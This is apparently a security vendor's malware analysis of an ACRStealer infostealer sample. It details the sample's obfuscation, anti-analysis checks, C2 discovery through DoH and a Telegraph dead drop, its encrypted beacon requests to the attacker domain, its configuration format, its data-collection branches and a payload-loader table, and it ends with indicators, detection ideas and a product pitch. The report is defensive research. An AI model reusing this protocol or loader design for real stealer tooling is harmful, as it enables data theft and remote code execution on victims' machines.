Malware analysis

ACRStealer 4.3.7-alpha2: Inside a Configuration-Gated C2 Protocol

Analysis scope

AhnLab Security Intelligence Center published its January 2026 Infostealer Trend Report on February 19, 2026. That report describes the move toward ECDH and ChaCha20-Poly1305 in distributed ACRStealer variants but does not identify the artifact examined here.

The family attribution rests on the embedded 4.3.7-alpha2 marker and protocol and configuration overlap with public ACRStealer reporting. It does not rest on a hash match in the AhnLab trend report.

This analysis follows one 4.3.7-alpha2 sample from startup through C2 negotiation, configuration dispatch, collection, and result publication. Its protocol, schemas, code paths, and execution boundaries are specific to that artifact.

Runtime and network observations used a reconstructed C2 server for this variant. The original sample connected to that server and emitted the request formats described below, but no traffic left the host-only network or reached live attacker infrastructure, a public resolver, or the embedded Telegraph page.

Key findings

  1. The server configuration is an execution gate. The client strictly Base64-decodes the authenticated response, applies repeating XOR with 852149723\0, parses JSON, and conditionally enters nine array-valued feature branches.
  2. The application session uses fresh P-256 key agreement. The client derives a 32-byte key as SHA256(SHA256(shared_x_be32)) and protects messages with ChaCha20-Poly1305.
  3. C2 discovery is layered. The sample combines an embedded hostname, DNS-over-HTTPS through fixed public resolver addresses, and a Telegraph dead-drop fallback.
  4. Static analysis is deliberately obstructed. Verified mechanisms include runtime string recovery, an opaque decoder branch with disconnected padding, hashed module and export resolution, and a 369-block top-level orchestrator.
  5. Startup depends on process-specific state. Stale WOW64 and loader pointers, plus an expected relocated shadow image, can fault before normal collection when the original initialization context is absent.
  6. Configured file collection completed for sO, sM, and sW. Each branch selected one exact 32-byte file, built a 174-byte stored ZIP, and submitted it through the item-selected result route.
  7. Browser evidence reached profile discovery and the first database-packaging attempt. The Chromium branch accepted its configuration, enumerated two profiles, and returned -1 before ZIP insertion.
  8. Observed endpoint-key g traffic came from the debug worker. Both results contained debug-ring snapshots, a separate path from the configuration-driven generic grabber.

Analyzed sample

FieldValue
SHA-256769d06b54576c6beab2d33c7d4c05b679156c051652a843d6cc61de2cc9c58f9
Version marker4.3.7-alpha2
File typePE32 x86 executable
File size776,704 bytes

Startup, obfuscation, and WOW64 behavior

Verified obfuscation and analyst impact

The sample combines runtime string protection, concealed API resolution, and localized control-flow distortion. These mechanisms affect static recovery differently and should not be treated as one generic obfuscation layer.

MechanismVerified implementationAnalyst impact
Runtime string protectionmw_decrypt_string at 0x433C51 calls the key-derivation, seed, and byte-decoder helpers that implement a SplitMix-style indexed schedule followed by XOR, subtraction, rotate-right, and final XOR.Recovering the common decoder produced 637 decoded records, including the C2 hostname, Telegraph URL, HTTP fields, configuration members, paths, build text, and API names.
Opaque and disconnected decoder pathsThe expression (x * ~x) & 1 at 0x433C5C0x433C6B is always zero, making its state-update branch unreachable. Five predecessorless padding blocks beginning at 0x43BD20 sit outside the live byte-decoder path.The false branch and disconnected operations obscure the active transform and degrade decompilation.
Module and export hashingmw_resolve_export_by_hash at 0x45B4DB parses PE exports, rejects forwarded entries, and resolves matching callable addresses. Related routines extend name hashing across 32- and 64-bit loader views.Important NTDLL dependencies are absent from ordinary imports and direct call sites.
Flattened orchestrationmw_main_orchestrator at 0x41E93C spans 10,962 bytes and 369 basic blocks with cross-jumps between dispatch, feature, and cleanup regions.Smaller callees, cross-references, and runtime checkpoints provide more reliable behavioral boundaries than whole-function pseudocode.

The anti-analysis checks described below are environmental gates, not control-flow obfuscation. The Heaven's Gate helpers complicate tooling but implement cross-architecture WOW64 access and are not classified here as obfuscation.

The configuration XOR, debug-record mask, and ChaCha20-Poly1305 channel protect data at different processing stages and are analytically distinct from control-flow obfuscation.

Serialized state and the executable shadow image

The file retains a stale WOW64 context pointer at 0x065A08A8 and loader-lock pointers from another ntdll.dll mapping. Dereferencing either state produced NTSTATUS 0xC0000005. Several dispatch paths also require a relocated 0xC0000-byte image at module_base + 0x07180000.

Mixed-mode transition

mw_get_peb32_via_heavens_gate_cached at 0x4843F0 switches from selector 0x23 to 0x33, reads the 64-bit TEB through GS:[0x30], adds a fixed 0x2000, and reads the presumed PEB32 pointer at offset 0x30 before returning through selector 0x23. On the analyzed Windows build, that fixed displacement produced a reserved address rather than the active PEB32.

Runtime continuation required current-process WOW64 values and a debugger-memory-only replacement of the transition helper in both live and shadow copies. The replacement read the current transition pointer from FS:[0xC0]. These runtime corrections did not modify the sample file.

Anti-analysis checks

After the runtime-only compatibility corrections, the complete anti-analysis aggregator was reached. It checks:

  • Kaspersky driver artifacts klif.sys, kldisk.sys, klhk.sys, and kneps.sys;
  • %USERPROFILE%\Documents\Outlook Files\honey@pot.com.pst;
  • missing shutdown and undock privileges;
  • a low count beneath HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall; and
  • process indicators associated with ANY.RUN.

The aggregate returned no-detection in the observed environment.

C2 discovery and manually serialized HTTP

The sample first uses the embedded name stream.echovale.cc through its direct connection path. When explicit resolution is required, mw_resolve_ipv4_via_doh at 0x482C24 accepts a dotted IPv4 address or sends RFC 8484 DNS-wire POSTs to these public resolver addresses, in order:

8.8.8.8
8.8.4.4
1.1.1.1
1.0.0.1

The resolver addresses are public infrastructure, not malware-owned IOCs. The sample emitted a 36-byte DNS A question for stream.echovale.cc using POST /dns-query, Content-Type: application/dns-message, and Host: dns.google.

Wireshark Follow HTTP Stream view pairing ACRStealer's decrypted 36-byte DNS-over-HTTPS request with the 52-byte DNS response
Figure 1. The decrypted HTTP stream pairs the 36-byte DNS wire-format request for stream.echovale.cc with the 52-byte DNS response. The request retains the sample's Host: dns.google header; the visible Server: Proofmetry-ACR-Bootstrap/1.0 header was generated by the reconstructed research server.Open full size

Telegraph dead-drop fallback

If direct and DoH resolution do not yield a usable endpoint, mw_resolve_c2_via_telegraph_dead_drop at 0x42CB5E requests https://telegra.ph/C-Introduction-08-21. It requires HTTP 200 and a nonempty body, extracts bytes between r.] and )0(, Base64-decodes the value, and validates dotted IPv4.

The sample emitted the corresponding DoH query and accepted the research server's marker-delimited response. The public Telegraph service is a weak indicator alone; the page path and parser delimiters provide the useful context.

TCP, Schannel, and HTTP parsing

mw_http_exchange at 0x446FAE manually emits HTTP/1.1 requests. Method values 0 through 8 map to GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, and PATCH. The builder does not synthesize Host, Connection, or Content-Length; callers provide them.

The response parser supports Content-Length and chunked transfer encoding and caps the body at 100 MiB. Transport success means a syntactically valid response was received; callers separately enforce HTTP 200.

mw_ensure_tcp_schannel_session at 0x444F18 optionally negotiates Schannel. The caller-supplied Host is also used as SNI, while the connection object retains a separate TCP destination. Manual validation is requested, and no explicit certificate-chain validation call was identified in this layer. TLS completed in the observed run; the code does not support a broader claim about arbitrary certificates.

Using the matching same-run TLS key log, Wireshark decrypted and reassembled 11 complete HTTP transactions—11 requests and their 11 corresponding responses, represented by 22 message-bearing frames—across four TLS sessions. Those exchanges cover DoH resolution, P-256 handshakes, endpoint discovery, configuration, host inventory, Steam status, debug snapshots, and configured-file result publication.

P-256 session establishment and authenticated framing

The client creates an application session with POST /. Its initial request contains these six headers:

Host: stream.echovale.cc
Content-Type: application/octet-stream
X-Request-ID: 0
Connection: keep-alive
Content-Length: <64..127>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36

The body carries a 64-byte P-256 public point followed by zero to 63 random padding bytes:

client_public_x_be32 || client_public_y_be32 || random_padding[0..63]

The point uses big-endian coordinates on secp256r1/NIST P-256. Observed request bodies included 100, 114, 116, and 122 bytes, representing 36, 50, 52, and 58 bytes of random padding.

An accepted response begins with the server's 64-byte P-256 point and supplies a nonempty X-Request-ID. The client validates the point, computes local_private × peer_public, serializes the shared X coordinate to exactly 32 big-endian bytes, and derives:

session_key = SHA256(SHA256(shared_x_be32))
IDA pseudocode showing P-256 scalar multiplication, shared-X serialization, and two SHA-256 calls
Figure 2. mw_derive_transport_key_p256_sha256d multiplies the peer P-256 point by the local private scalar, serializes the shared X coordinate to 32 bytes, and applies SHA-256 twice.Open full size
Wireshark Follow HTTP Stream view showing ACRStealer's decrypted P-256 bootstrap, endpoint-discovery, and configuration request-response exchanges
Figure 3. The decrypted HTTP stream begins with the sample's POST /, X-Request-ID: 0, and a 114-byte body containing the 64-byte client point plus randomized padding. The reconstructed server returns the 64-byte server point and a nonzero request ID in its HTTP 200 response; the same persistent connection then carries endpoint-discovery and configuration request-response pairs.Open full size

ChaCha20-Poly1305 envelopes

Application messages use this binary frame with no associated data:

nonce[12] || ChaCha20 ciphertext[plaintext_length] || Poly1305 tag[16]

Encrypted requests repeat the nonzero X-Request-ID from the handshake. They also send X-Client-Data, whose ASCII value is Base64 of a second envelope protected with the same session key.

Responses must return HTTP 200 and at least 28 bytes. Authentication or decryption failure is surfaced to the caller as transport status 500. The handshake, endpoint-map request, and configuration request reused one persistent TLS connection in the observed execution; later collectors could establish secondary P-256 sessions.

Endpoint discovery and configuration protocol

The first encrypted request on the primary connection posts this 80-byte plaintext to /:

{"Command":"GetEndpoints","lu":"en-US","ls":"en-US","d":"WORKGROUP","ukr":false}
FieldMeaning in this sample
CommandLiteral GetEndpoints
luUser locale name
lsSystem or UI locale name
dTCP/IP domain, with WORKGROUP fallback
ukrWhether a Ukrainian keyboard layout is present

The sample decrypted the accepted research-server response to this server-selected endpoint map:

{"a":"/a","g":"/g","b":"/b","m":"/m","o":"/o","w":"/w","err":"/err","t":"/t","p":"/p","f":"/f","c":"/config"}
KeyProducer or consumer in this sample
cConfiguration request
pUnconditional host profile; observed
fUnconditional Steam result; observed
gUnconditional debug-ring snapshots; observed
bCode-confirmed browser archive path
m, o, wConfigured-file results; observed
a, t, errPresent in the endpoint map

These server-selected paths are not stable IOCs. The configuration request posted {"Id":"019fd84c-02e7-7a67-9097-4f73d632de4a"} to the path selected by key c.

Observed exchange sizes

StageTargetPlaintext or semantic bodyApplication body
DoH resolution/dns-query36-byte DNS questionNot application-encrypted
P-256 handshake/64-byte point plus 62-byte tail in the inert run126 bytes
Endpoint discovery/80-byte JSON108 bytes
ConfigurationDynamic c path45-byte JSON73 bytes
Host profileDynamic p path4,979-byte JSON5,007 bytes
Steam resultDynamic f pathTwo-byte {}30 bytes
Debug snapshotsDynamic g path16,516-byte ZIP each16,544 bytes each

Configuration decoding

After ChaCha20-Poly1305 authentication, the configuration response passes through another encoding layer:

AEAD response plaintext
  → strict Base64 decode
  → repeating XOR with 852149723\0
  → recursive JSON parse
  → array-valued feature dispatch

The XOR key is ten bytes: nine ASCII digits plus the terminating NUL. The NUL participates in the repeating stream. For the inert configuration {}, the XOR result Base64-encodes to Q0g=.

IDA pseudocode showing the configuration decoder applying a ten-byte repeating XOR key
Figure 4. mw_xor_config_repeating_key reconstructs 852149723\0 and applies all ten bytes, including the NUL terminator, to the decoded configuration.Open full size
x32dbg stopped before JSON parsing with the decoded single-branch sO configuration visible in memory
Figure 5. After authenticated transport decoding, strict Base64 decoding, and the repeating-XOR layer, x32dbg is stopped at the JSON-parser call. EBX points to the single-branch sO fixture configuration used for the controlled run.Open full size

This build's inner configuration transform is repeating XOR. AhnLab's earlier analysis likewise described Base64-encoded, XOR-encrypted configuration data rather than RC4.

The root object is queried for exactly nine inbound feature members: b, sW, sM, sO, exP, exW, exG, g, and ld. A missing member is inert. A present empty array is non-null and enters its guarded handler even when no item is processed.

Numeric JSON nodes retain their text representation. The handlers interpret t, tp, tf, and tr from the first character, while p and gl are parsed as complete signed decimal integers.

Observed collection outside named feature roots

An inert {} configuration does not make this build behaviorally inert. Host inventory and Steam collection run after configuration parsing without a named root member, while an asynchronous debug worker publishes two snapshots.

Host profile through endpoint key p

mw_collect_host_inventory_unconditional at 0x474500 produced a 4,979-byte compact JSON object covering operating-system and architecture data; normalized user, computer, domain, and hardware/build identifiers; processor count; memory; screen resolution; elevation; local time; installed software; network-interface names; process names; and display adapters. Host-specific values are not reproduced here.

Steam result through endpoint key f

mw_collect_steam_session_artifacts at 0x45235E ran immediately afterward and published the two-byte object {} through endpoint key f, establishing the route's empty-result behavior.

Debug snapshots through endpoint key g

The sample maintains a 1,024-record in-memory debug ring. Its snapshot routine creates a 0x400C-byte payload—a fresh 12-byte nonce followed by a transformed 0x4000-byte ring—and adds that payload to a one-entry ZIP.

Two 16,516-byte archives were observed in order, with stored members g/DBG/DBG_b and g/DBG/DBG_f. These requests came from the debug worker, not the configuration-driven generic grabber.

Nine configuration branches

RootFields consumedCode-confirmed behavior
bn, p, pn, tBrowser/profile inventory; login, cookie, and autofill collection sequence
exPid, n; requires bChromium extension storage, class 0
exWid, n; requires bChromium extension storage, class 1
exGid, n; requires Gecko bGecko extension UUID mapping and storage collection
sWp, tp, n, a, fConfigured file collection, class 1
sMp, tp, n, a, fConfigured file collection, class 0
sOp, tp, n, a, fConfigured file collection, class 0
gp, n, nonempty f; optional tp, r, glGeneric file grabber, shortcut resolution, exclusions, and screen capture
ldu, tf, tr; optional p, wRetrieves and executes a secondary task according to type

Configured file groups: sO, sM, and sW

The three roots share mw_dispatch_configured_artifact_group at 0x438B18 and mw_collect_one_configured_file_target at 0x438DC7. sO and sM use class 0; sW uses class 1. Per-item field a selects the result route independently of the root category.

FieldMeaning
pConfigured source root or suffix
tpPath-root selector
nLogical archive namespace
aEndpoint-map key used for the result
fCase-insensitive exact or wildcard basename patterns

Fields t and gl are not read by these handlers; r is read but discarded in this build. The tp selector resolves p directly (1) or beneath AppData (2), Desktop (3), the user root (4), or Documents (5). For tp=1, the downstream native file open requires an NT-namespace path such as \??\C:\...; a DOS path failed in the initial attempt.

IDA pseudocode showing the configured-file collector adding a selected buffer to its in-memory ZIP
Figure 6. mw_collect_one_configured_file_target passes the selected buffer and archive member name to mw_zip_add_buffer_entry, then clears and releases the file buffer.Open full size
x32dbg at the native ZIP insertion call with the fixture bytes, archive member name, and 32-byte length visible
Figure 7. The configured-file collector reaches native ZIP insertion with the selected fixture intact. At the mw_zip_add_buffer_entry call, EDI identifies o/fixture//fixture.txt, ESI points to the 32-byte fixture, and [ESP+0xC] records its length.Open full size
RootClassResult keyDecrypted ZIPMember
sO0o174 byteso/fixture//fixture.txt
sM0m174 bytesm/fixture//fixture.txt
sW1w174 bytesw/fixture//fixture.txt

The fixture.txt names in this table are analyst-created test artifacts, not malware IOCs. Each ZIP used method 0 and contained the exact 32-byte selected file, which remained unchanged at its source. Each member had CRC-32 0xbd425c63. The doubled slash comes from this build's archive-name concatenation. A successful sW result also left the persistent class-1 artifact flag set; later loader tasks with w:true consult that state.

Browser collection: b

Chromium handling sequences profile inventory, login database collection, cookie collection, and autofill collection. An observed item resolved Chrome 145.0.7632.160 and enumerated Default and Profile 1. The first Default\Login Data packaging attempt returned -1 before ZIP insertion or submission.

Extension collectors (code-confirmed): exP, exW, and exG

exP and exW wrap a shared Chromium extension collector and require a non-null b array; they supply class 0 and class 1 respectively. exG requires a Gecko browser item, maps an extension ID through extensions.webextensions.uuids, and targets matching extension storage. None of the three wrappers directly selects an endpoint-map route in the mapped code.

Generic grabber (code-confirmed): g

The configured g item requires p, n, and a nonempty f string array. Optional tp defaults to 4, r defaults to false, and gl defaults to 0; r enables directory descent and gl caps its depth. Fields a and t are not read by this handler.

The handler resolves roots, enumerates matching files, follows shortcuts, applies built-in extension exclusions, and captures screen images. Even a present empty g array enters broader built-in collection logic. The two observed requests through endpoint key g instead contained snapshots from the separate debug worker.

Loader tasks: ld

Each item supplies URL u, file type tf, and execution type tr. Optional priority p controls ordering; optional w gates execution on the persistent class-1 artifact flag.

trtfCode-confirmed action
11Save to a temporary .exe path and pass it to the downloaded-file dispatcher
12Save to a temporary .cmd path and pass it to the downloaded-file dispatcher
13Save to a temporary .dll path and pass it to the downloaded-file dispatcher
14Save to a temporary .ps1 path and pass it to the downloaded-file dispatcher
16Save to a temporary .msi path and pass it to the downloaded-file dispatcher
24Pass the downloaded script buffer to the PowerShell helper
25Pass the downloaded buffer to the suspended dllhost.exe path

Detection and hunting opportunities

Network correlation

A higher-confidence network analytic correlates the bootstrap sequence rather than relying on server-selected result paths:

  1. an x86 process issues RFC 8484 POST /dns-query for stream.echovale.cc through Google or Cloudflare resolver infrastructure;
  2. TLS uses SNI and Host stream.echovale.cc;
  3. POST / carries X-Request-ID: 0, a Chrome-like Win64 user agent, and a 64–127-byte opaque body;
  4. an HTTP 200 response contains a 64-byte point and nonempty request ID;
  5. a second POST / repeats that request ID, includes X-Client-Data, and carries plaintext length plus 28 bytes; and
  6. later POSTs target server-selected paths, potentially across secondary TLS and P-256 sessions.

The exact user agent claims Win64; x64 although the process is 32-bit. The initial body always begins with a 64-byte public point, while authenticated application bodies are at least 28 bytes. Fixed-path signatures should target the bootstrap shape rather than the lab-assigned /p, /g, /b, /m, /o, or /w values.

Endpoint correlation

BehaviorCorrelated endpoint sequence
Mixed-mode API path32-bit process walks 32/64-bit loader state, hashes exports, and enters selector 0x33
Custom transportManually serialized HTTP over TCP and Schannel without WinHTTP
Environment profilingBroad host enumeration followed by one encrypted result
Configured file collectionNative file open and directory enumeration → basename glob → read → in-memory ZIP → authenticated upload
Chromium pathProfile enumeration → database access attempts → archive/upload only if packaging succeeds
Debug snapshots16-KiB event ring → nonce-prefixed transform → one-entry ZIP named g/DBG/DBG_b or g/DBG/DBG_f
Loader branchDownload to a type-selected path or buffer → dispatcher, PowerShell helper, or suspended dllhost.exe path

The Chromium-success and loader sequences are code-confirmed detection hypotheses.

Static pivots

Useful static pivots from this variant include:

stream.echovale.cc
https://telegra.ph/C-Introduction-08-21
852149723
4.3.7-alpha2
Chrome/134.2.6187.130
extensions.webextensions.uuids
g/DBG/DBG_
honey@pot.com.pst

The short configuration keys are weak independently. A stronger static rule combines several roots—such as sW, sM, sO, exP, exW, exG, and ld—with the C2 hostname, build string, configuration key, or P-256 and ChaCha constants.

Indicators

IndicatorTypeContext
769d06b54576c6beab2d33c7d4c05b679156c051652a843d6cc61de2cc9c58f9SHA-256Analyzed sample
stream.echovale.ccDomainEmbedded primary C2 name
https://telegra.ph/C-Introduction-08-21URLEmbedded dead-drop page; legitimate service and low-confidence alone
r.])0(Parser delimitersTelegraph dead-drop framing
852149723\0Configuration keyTen-byte repeating XOR key including NUL
019fd84c-02e7-7a67-9097-4f73d632de4aConfiguration IDObserved configuration-request value
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36User-AgentBootstrap and application requests
%USERPROFILE%\Documents\Outlook Files\honey@pot.com.pstPath patternAnti-analysis artifact check
klif.sys, kldisk.sys, klhk.sys, kneps.sysDriver namesAnti-analysis artifact set
g/DBG/DBG_b, g/DBG/DBG_fZIP member namesUnconditional debug snapshots

The public resolver addresses are not malware infrastructure. Short configuration keys and server-selected endpoint paths are also weak indicators independently.

Conclusion

ACRStealer 4.3.7-alpha2 is driven by server-supplied JSON configuration but still performs meaningful collection when the root object is empty. Its bootstrap combines explicit DNS-over-HTTPS and a Telegraph fallback with custom HTTP and Schannel. Above TLS, it establishes a P-256 session, derives the key with double SHA-256, and authenticates endpoint discovery, configuration, host profiling, debug snapshots, and collection results with ChaCha20-Poly1305.

The nine feature roots are not nine equivalent commands. Three configured-file groups share one collector and produced exact ZIP results. Browser profile discovery, unconditional host-profile collection, Steam-result publication, and debug-snapshot traffic add distinct host and network evidence to the protocol sequence.

For defenders, the strongest opportunities correlate low-level WOW64 and NTDLL behavior, the P-256 bootstrap shape, request-ID and X-Client-Data headers, configuration-driven native file collection, and in-memory ZIP publication.

Proofmetry Platform

Proofmetry Platform supplied the reconstructed C2 server shown in the network analysis above. It provides the exchanges the original ACRStealer sample expects, enabling selected supported behaviors without live attacker infrastructure while customer sensors record the resulting endpoint and network evidence.

Get a demo